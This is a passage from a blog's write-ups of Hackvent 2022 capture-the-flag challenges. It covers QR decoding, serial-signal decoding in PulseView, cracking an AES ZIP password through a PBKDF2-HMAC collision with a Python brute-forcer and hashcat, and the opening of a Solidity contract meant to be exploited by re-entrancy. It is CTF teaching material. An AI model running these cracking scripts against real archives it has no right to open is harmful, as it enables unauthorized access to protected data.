data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">from pyzbar.pyzbar import decode\nfrom PIL import Image\n\nImage.MAX_IMAGE_PIXELS = None\nim = Image.open('haystack.png')\nPIXEL_SIZE = 50\n\n# Get the width and height of the image\nwidth, height = im.size\n\n# Calculate the new width and height after cropping\nnew_width = width - 4800\nnew_height = height - 4800\n\n# Calculate the coordinates of the top left and bottom right corners of the cropped image\nx1 = 2400\ny1 = 2400\nx2 = x1 + new_width\ny2 = y1 + new_height\n\n# Crop the image\ncropped_image = im.crop((x1, y1, x2, y2))\n\n# The string to compare QR codes to\ncompare_string = \"Sorry, no flag here!\"\n\n# Calculate the number pixel squares in the cropped image\nnum_squares_x = new_width \/\/ PIXEL_SIZE\nnum_squares_y = new_height \/\/ PIXEL_SIZE\n\n# Iterate over the cropped image, splitting it into 50x50 pixel squares\nfor i in range(num_squares_x):\n    for j in range(num_squares_y):\n        # Calculate the coordinates of the top left and bottom right corners\n        # of the current pixel square\n        x1 = i * PIXEL_SIZE\n        y1 = j * PIXEL_SIZE\n        x2 = x1 + PIXEL_SIZE\n        y2 = y1 + PIXEL_SIZE\n\n        # Crop the image to the current pixel square\n        square = cropped_image.crop((x1, y1, x2, y2))\n\n        # Check if the current square contains a QR code\n        try:\n            # Try to decode the QR code\n            data = decode(square)[0].data.decode()\n\n            # Compare the decoded QR code to the compare string\n            if data != compare_string:\n                # Save the square if the QR code does not match the compare string\n                square.save('image_%d_%d.jpg' % (i, j))\n                print(\"Found matching QR code in square (%d, %d)\" % (i, j))\n                print(\"[+] \" + str(data))\n                sys.exit()\n        except:\n            continue<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-68.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"115\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-68-1024x115.png\" alt=\"\" class=\"wp-image-2068\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-68-1024x115.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-68-300x34.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-68-768x86.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-68-500x56.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-68.png 1055w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{1&#8217;m_y0ur_need13.}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.17] Santa&#8217;s Sleigh<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"835\" height=\"123\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-69.png\" alt=\"\" class=\"wp-image-2071\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-69.png 835w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-69-300x44.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-69-768x113.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-69-500x74.png 500w\" sizes=\"auto, (max-width: 835px) 100vw, 835px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>As everyone seems to modernize, Santa has bought a new E-Sleigh. Unfortunately, its speed is limited. Without the sleight&#8217;s full capabilities, Santa can&#8217;t manage to visit all kids&#8230; so he asked Rudolf to hack the sleigh for him.<\/p>\n\n\n\n<p>I wonder if it worked.<\/p>\n\n\n\n<p>Unfortunately, Rudolph is already on holiday. He seems to be in a strop because no one needs him to pull the sledge now. We only got this raw data file he sent us.<\/p>\n\n\n\n<p>Resource: <a rel=\"noreferrer noopener\" href=\"https:\/\/sigterm.ch\/stuff\/hv22\/SantasSleigh.raw\" target=\"_blank\">SantasSleigh.raw<\/a><\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>dr_nick<\/strong>. E-Scooter hax incoming?<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Hints<\/h3>\n\n\n\n<p>Rodolph is heavy on duty during his holiday trip, but he managed to send und at least a photo of his first step.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-70.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"576\" height=\"1024\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-70-576x1024.png\" alt=\"\" class=\"wp-image-2072\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-70-576x1024.png 576w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-70-169x300.png 169w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-70-768x1365.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-70.png 800w\" sizes=\"auto, (max-width: 576px) 100vw, 576px\" \/><\/a><\/figure>\n\n\n\n<p>Rudolf finally wants some peace and quiet on vacation. But send us one last message together with a picture:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-71.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"199\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-71-1024x199.png\" alt=\"\" class=\"wp-image-2073\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-71-1024x199.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-71-300x58.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-71-768x149.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-71-500x97.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-71.png 1410w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"wp-element-caption\">&#8220;I thought they speak 8 or 7 N1&#8221;<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>It was unclear\/guessy what needed to be done in this challenge. It took more than eleven hours until the first person solved the challenge, only after they released some additional hints. The way became more apparent with the two hints, and I also managed to solve the challenge.<\/p>\n\n\n\n<p>The image of the first hint leads to the <a href=\"https:\/\/github.com\/teixeluis\/escooter-lcd-esc-decode\" target=\"_blank\" rel=\"noreferrer noopener\">GitHub project &#8220;escooter-lcd-esc-decode&#8221;<\/a>.<\/p>\n\n\n\n<p>In the image of the 2nd hint, we can see a screenshot of the program <a rel=\"noreferrer noopener\" href=\"https:\/\/sigrok.org\/wiki\/PulseView\" target=\"_blank\">PulseView<\/a>. <strong>PulseView<\/strong>&nbsp;(sometimes abbreviated as &#8220;PV&#8221;) is a Qt based logic analyzer, oscilloscope and MSO GUI for sigrok. The text &#8220;I thought they spek 8 or 7 N1&#8221; leads to <a href=\"https:\/\/en.wikipedia.org\/wiki\/8-N-1\" target=\"_blank\" rel=\"noreferrer noopener\">how the decoder needs to be configured to decode the data<\/a>. With these hints, we have everything to decode the flag.<\/p>\n\n\n\n<p>First, we import the file &#8220;SantasSleigh.raw as Raw binary logic data with PulseView. I did pick two logical channels and set the frequency to 1000hz. The frequency was just an assumption, as we didn&#8217;t know the frequency.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-72.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"365\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-72-1024x365.png\" alt=\"\" class=\"wp-image-2074\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-72-1024x365.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-72-300x107.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-72-768x274.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-72-1536x548.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-72-500x178.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-72.png 1888w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We need to add a serial\/RS232 decoder and search for &#8220;RS232&#8221;. We can find the decoder Modbus.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-73.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"365\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-73-1024x365.png\" alt=\"\" class=\"wp-image-2075\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-73-1024x365.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-73-300x107.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-73-768x274.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-73-1536x548.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-73-500x178.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-73.png 1888w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>In the next step, we need to configure the decoder and find the correct baud rate to decode the data. While importing the file, I assumed a frequency of 1000hz. Based on the image below, we can determine that the baud rate for a frequency of 1000hz is 250.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-74.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"721\" height=\"993\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-74.png\" alt=\"\" class=\"wp-image-2076\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-74.png 721w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-74-218x300.png 218w\" sizes=\"auto, (max-width: 721px) 100vw, 721px\" \/><\/a><\/figure>\n\n\n\n<p>This is because we have four touches for one bit. The formula to calculate the baud rate is the following:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Baud rate = Bit rate \/ # bits per baud\n250 = 1000 \/ 4<\/pre>\n\n\n\n<p>According to the hint, we know that one direction is 8N1 and the other 7N1. We add the Modbus decoder twice and configure channel 0 with 8N1 and channel 1 with 7N1.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-75.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"642\" height=\"716\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-75.png\" alt=\"\" class=\"wp-image-2077\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-75.png 642w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-75-269x300.png 269w\" sizes=\"auto, (max-width: 642px) 100vw, 642px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-76.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"639\" height=\"711\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-76.png\" alt=\"\" class=\"wp-image-2078\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-76.png 639w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-76-270x300.png 270w\" sizes=\"auto, (max-width: 639px) 100vw, 639px\" \/><\/a><\/figure>\n\n\n\n<p>Complete view:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-77.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"329\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-77-1024x329.png\" alt=\"\" class=\"wp-image-2079\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-77-1024x329.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-77-300x96.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-77-768x247.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-77-1536x494.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-77-2048x658.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-77-500x161.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Finally, we can read the data and get the flag:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-78.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"351\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-78-1024x351.png\" alt=\"\" class=\"wp-image-2080\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-78-1024x351.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-78-300x103.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-78-768x263.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-78-500x171.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-78.png 1199w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-79.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"351\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-79-1024x351.png\" alt=\"\" class=\"wp-image-2081\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-79-1024x351.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-79-300x103.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-79-768x263.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-79-500x171.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-79.png 1199w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{H4ck1ng_S4nta&#8217;s_3-Sleigh}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.18] Santa&#8217;s Nice List<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"838\" height=\"130\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-80.png\" alt=\"\" class=\"wp-image-2090\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-80.png 838w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-80-300x47.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-80-768x119.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-80-500x78.png 500w\" sizes=\"auto, (max-width: 838px) 100vw, 838px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa stored this years &#8220;Nice List&#8221; in an encrypted zip archive. His mind occupied with christmas madness made him forget the password. Luckily one of the elves wrote down the SHA-1 hash of the password Santa used.<\/p>\n\n\n\n<p><code>xxxxxx69792b677e3e4c7a6d78545c205c4e5e26<\/code><\/p>\n\n\n\n<p>Can you help Santa access the list and make those kids happy?<\/p>\n\n\n\n<p>Resource: <a href=\"https:\/\/sigterm.ch\/stuff\/hv22\/nice-list.zip\" target=\"_blank\" rel=\"noreferrer noopener\">nice-list.zip<\/a><\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>keep3r<\/strong>. I heard he&#8217;s a true keeper.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>Wow, what a journey. First was searching for the correct password wordlist, similar CTF challenges, and anything I could grasp &#8211; for hours! I was not too fond of the challenge at the beginning and thought it was another challenge where guessing was crucial. But in the end, the challenge was great, and the guessing was because it is an attack vector I&#8217;ve never heard of.<\/p>\n\n\n\n<p>At some point, I wanted to try if the SHA-1 hash sum could be used directly as the password. But by interpreting the description, I thought this was not the right path because the description clearly says that we have the SHA-1 hash of the password. This was before I got hinted at the following article and learned a new attack vector for encrypted ZIP files: <a rel=\"noreferrer noopener\" href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/an-encrypted-zip-file-can-have-two-correct-passwords-heres-why\/\" target=\"_blank\">https:\/\/www.bleepingcomputer.com\/news\/security\/an-encrypted-zip-file-can-have-two-correct-passwords-heres-why\/<\/a><\/p>\n\n\n\n<p>After reading the article, it became clear what to do. I wrote a Python script that brute forces the first six characters of the SHA-1 sum, converts this into an ASCII text, and tries to decrypt the ZIP file.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import pyzipper\nimport itertools\nimport codecs\n\n# Set the character set for the bruteforce\nchar_set = \"0123456789abcdef\"\nknown_pw = \"69792b677e3e4c7a6d78545c205c4e5e26\"\n\n# Use itertools.product to generate all possible combinations of 6 characters from the character set\npassword_combinations = itertools.product(char_set, repeat=6)\n\n# Try each password combination\nfor password_tuple in password_combinations:\n  # Convert the tuple to a string\n  password = \"\".join(password_tuple)\n  try:\n    # Extract the zip file with the current password\n    pw = password+known_pw\n    pwdec = codecs.decode(pw, \"hex\").decode(\"utf-8\")\n\n    # only continue if the password is printable\n    if pwdec.isprintable():\n      # try to decrypt the password\n      with pyzipper.AESZipFile('nice-list.zip', 'r', compression=pyzipper.ZIP_DEFLATED, encryption=pyzipper.WZ_AES) as extracted_zip:\n        extracted_zip.extractall(pwd=str.encode(pwdec))\n      print(f\"[+] Correct Password found: {pwdec}\")\n      break\n  except Exception as e:\n    continue<\/pre>\n\n\n\n<p>My script runs for around 7 minutes until I get the proper password.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-83.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"515\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-83-1024x515.png\" alt=\"\" class=\"wp-image-2096\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-83-1024x515.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-83-300x151.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-83-768x386.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-83-500x251.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-83.png 1182w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>I found my nickname, &#8220;mcia&#8221;, on Santa&#8217;s nice list in the ZIP! \ud83e\udd2f\ud83d\ude33\ud83e\udd29 Very nice challenge, &#8220;keep3r&#8221;; you are a keeper!\ud83e\udd29\ud83e\udd70&nbsp;<\/p>\n\n\n\n<p>An alternative and much faster way to solve the challenge was through Hashcat. As we have six hexadecimal characters of the SHA-1 hash sum missing, we know that we only need to brute force three characters of the password.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ .\/zip2john nice-list.zip &gt; hash.txt\n$ cat hash.txt | grep -E -o '(\\$pkzip2\\$.*\\$\/pkzip2\\$)|(\\$zip2\\$.*\\$\/zip2\\$)' &gt; zip.hash\n$ cat charset.txt \nabcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\n$ hashcat -m 13600 -a 3 zip.hash -1 charset.txt \"?1?1?1iy+g~&gt;LzmxT\\ \\N^&amp;\"<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-82.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"412\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-82-1024x412.png\" alt=\"\" class=\"wp-image-2093\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-82-1024x412.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-82-300x121.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-82-768x309.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-82-1536x618.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-82-2048x824.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-82-500x201.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<pre class=\"wp-block-preformatted\">$ 7z x nice-list.zip\n$ cat flag.txt \nHV22{HAVING_FUN_WITH_CHOSEN_PREFIX_PBKDF2_HMAC_COLLISIONS_nzvwuj}<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<pre id=\"block-b7116417-c9a9-45ff-b11c-491e3b0f084f\" class=\"wp-block-preformatted\">HV22{HAVING_FUN_WITH_CHOSEN_PREFIX_PBKDF2_HMAC_COLLISIONS_nzvwuj}<\/pre>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.19] Re-Entry to Nice List 2<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"826\" height=\"123\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-84.png\" alt=\"\" class=\"wp-image-2100\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-84.png 826w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-84-300x45.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-84-768x114.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-84-500x74.png 500w\" sizes=\"auto, (max-width: 826px) 100vw, 826px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>The elves are going web3! Again&#8230;<\/p>\n\n\n\n<p>After last years failure where everybody could enter the nice list even seconds before christmas, Santa tasked his elves months before this years event to have finally a buy-in nice list that is also secure. To get the most value out of this endavour, they also created a new crypto currency with their own chain :O The chain is called SantasShackles and the coin is called SANTA.<\/p>\n\n\n\n<p>Try to enter the nice list and get the flag!<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>HaCk0<\/strong>. Also known as the master of blockchains.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>Another Blockchain challenge from HaCk0. The challenge was great, but I had some problems and had to fight with the setup (MetaMask, REMIX). According to the challenge title, we know it has something to do with a <a rel=\"noreferrer noopener\" href=\"https:\/\/consensys.github.io\/smart-contract-best-practices\/attacks\/reentrancy\/\" target=\"_blank\">Re-Entrancy vulnerability<\/a>. So let&#8217;s start digging.<\/p>\n\n\n\n<p>When we start the challenge server, we see this website.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-85.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"973\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-85-1024x973.png\" alt=\"\" class=\"wp-image-2101\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-85-1024x973.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-85-300x285.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-85-768x730.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-85-316x300.png 316w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-85.png 1311w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We know the addresses of the contracts, we get a wallet with some cash and we even get the source code of the two contracts:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.9;\n\nimport \".\/SantaCoin.sol\";\n\ncontract NiceListV2 {\n    address public immutable owner;\n\n    uint128 public buyInAmount;\n    uint64 public christmasTimestamp;\n    uint8 public unlocked = 1;\n    SantaCoin public santaCoin;\n\n    mapping(address => uint256) public buyIns;\n    mapping(address => uint256) public niceListV2;\n\n    error TransferFailed(address from, address to, uint256 amount);\n    error NotEnoughFunds(uint256 required, uint256 available);\n    error WithdrawFailed(string reason);\n\n    event NewSantaCoin(address indexed previousCoin, address indexed newCoin);\n    event NewChristmas(uint64 previousTimestamp, uint64 newTimestamp);\n    event NewBuyInAmount(uint128 previousAmount, uint128 newAmount);\n    event Withdraw(address indexed target, uint256 amount);\n    event BuyIn(address indexed who, uint256 amount);\n    event NiceListV2Entered(address indexed who);\n    event UserWithdraw(address indexed who, uint256 amount, bool inETH);\n\n    constructor(\n        uint64 _christmasTimestamp,\n        uint128 _buyInAmount,\n        SantaCoin _santaCoin\n    ) {\n        owner = msg.sender;\n        christmasTimestamp = _christmasTimestamp;\n        buyInAmount = _buyInAmount;\n        santaCoin = _santaCoin;\n    }\n\n    modifier onlyOwner() {\n        require(msg.sender == owner);\n        _;\n    }\n\n    modifier nonReentrant() {\n        require(unlocked == 1, \"Reentrancy\");\n        unlocked = 2;\n        _;\n        unlocked = 1;\n    }\n\n    \/\/ @notice sets a new santa coin address\n    \/\/ @param address _santaCoin new ERC20 coin\n    function setSantaCoin(SantaCoin _santaCoin) external onlyOwner {\n        emit NewSantaCoin(address(santaCoin), address(_santaCoin));\n        santaCoin = _santaCoin;\n    }\n\n    \/\/ @notice sets a new christmas timestamp. Only callable by owner\n    \/\/ @param uint64 _christmasTimestamp New Timestamp\n    function setNewChristmas(uint64 _christmasTimestamp) external onlyOwner {\n        emit NewChristmas(christmasTimestamp, _christmasTimestamp);\n        christmasTimestamp = _christmasTimestamp;\n    }\n\n    \/\/ @notice sets a new buy-in amount. Only callable by owner\n    \/\/ @param uint128 _buyInAmount New buy-in amount\n    function setNewBuyInAmount(uint128 _buyInAmount) external onlyOwner {\n        emit NewBuyInAmount(buyInAmount, _buyInAmount);\n        buyInAmount = _buyInAmount;\n    }\n\n    \/\/ @notice Withdraw santa coins from contract. Only callable by owner\n    \/\/ @param address target Send coins to\n    \/\/ @param uint256 amount Amount of coins to send\n    function withdrawOwner(address target, uint256 amount) external onlyOwner {\n        bool success = santaCoin.transfer(target, amount);\n        if (!success) {\n            revert TransferFailed(address(this), target, amount);\n        }\n        emit Withdraw(target, amount);\n    }\n\n    \/\/ @notice Buys into the NiceList.\n    \/\/ @param uint256 amount Amount of SantaCoins to use\n    \/\/ @dev calls internal _buyIn function. Requires previous allowance set\n    function buyIn(uint256 amount) external {\n        bool success = santaCoin.transferFrom(\n            msg.sender,\n            address(this),\n            amount\n        );\n        if (!success) {\n            revert TransferFailed(msg.sender, address(this), amount);\n        }\n\n        _buyIn(msg.sender, amount);\n    }\n\n    \/\/ @notice handles the buy-in and sets the user on the nice list if enough coins are spent\n    \/\/ @param address user Which user buys in\n    \/\/ @param uint256 amount Amount of coins sent\n    function 